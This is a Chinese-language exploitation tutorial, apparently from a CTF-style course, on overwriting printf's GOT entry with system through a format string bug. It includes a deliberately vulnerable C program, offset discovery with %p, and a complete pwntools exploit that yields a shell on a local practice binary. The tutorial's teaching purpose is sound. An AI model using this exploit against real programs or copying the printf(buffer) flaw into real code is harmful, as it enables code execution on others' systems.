发布于

利用 GOT Overwrite

作者

0x01 源码

got-overwrite-32.zip

Binary

这可能是 GOT Overwrite 题中最简单的一个了。

source.c
#include <stdio.h>

void vuln() {
  char buffer[300];

  while(1) {
    fgets(buffer, sizeof(buffer), stdin);

    printf(buffer);
    puts("");
  }
}

int main() {
  vuln();

  return 0;
}

一个简单的无限循环接收用户的输入,并用 printf 将其输出。这里不存在缓冲区溢出,只有格式化字符串漏洞。

现在假设关闭了 ASLR,可以先自己试一试利用 GOT Overwrite 漏洞进行覆写 :)

0x02 漏洞利用

先设置好基本框架。

from pwn import *

context.log_level = 'debug'

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7c00000

p = process()

为了利用 %n 覆盖 GOT 表,我们需要找到格式化字符串读取到我们输入的缓冲区开始的偏移量。

$ ./got_overwrite-32
%p %p %p %p %p %p
0x12c 0xf7e445c0 0x8049191 0x40 0x25207025 0x70252070

可以确定是第五个位置。接下来获取该位置的地址:

$ ./got_overwrite-32
%5$p
0x70243525

完善 exp。

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})

p.sendline(payload)

p.interactive()

这样就覆写成功了。如果缓冲区受到限制,你可以发送 /bin/sh 获得 shell 并运行更多命令。

1x01 最终 Exploit

exp.py
from pwn import *

context.log_level = 'debug'

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7c00000

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})

p.sendline(payload)

p.interactive()

0x03 64-bit

老样子 :)

got-overwrite-aslr.zip

Binary

0x04 ASLR 版本

如果你想要额外的挑战,这里请启用 ASLR 并尝试解下面的题目。

got-overwrite-aslr.zip

Binary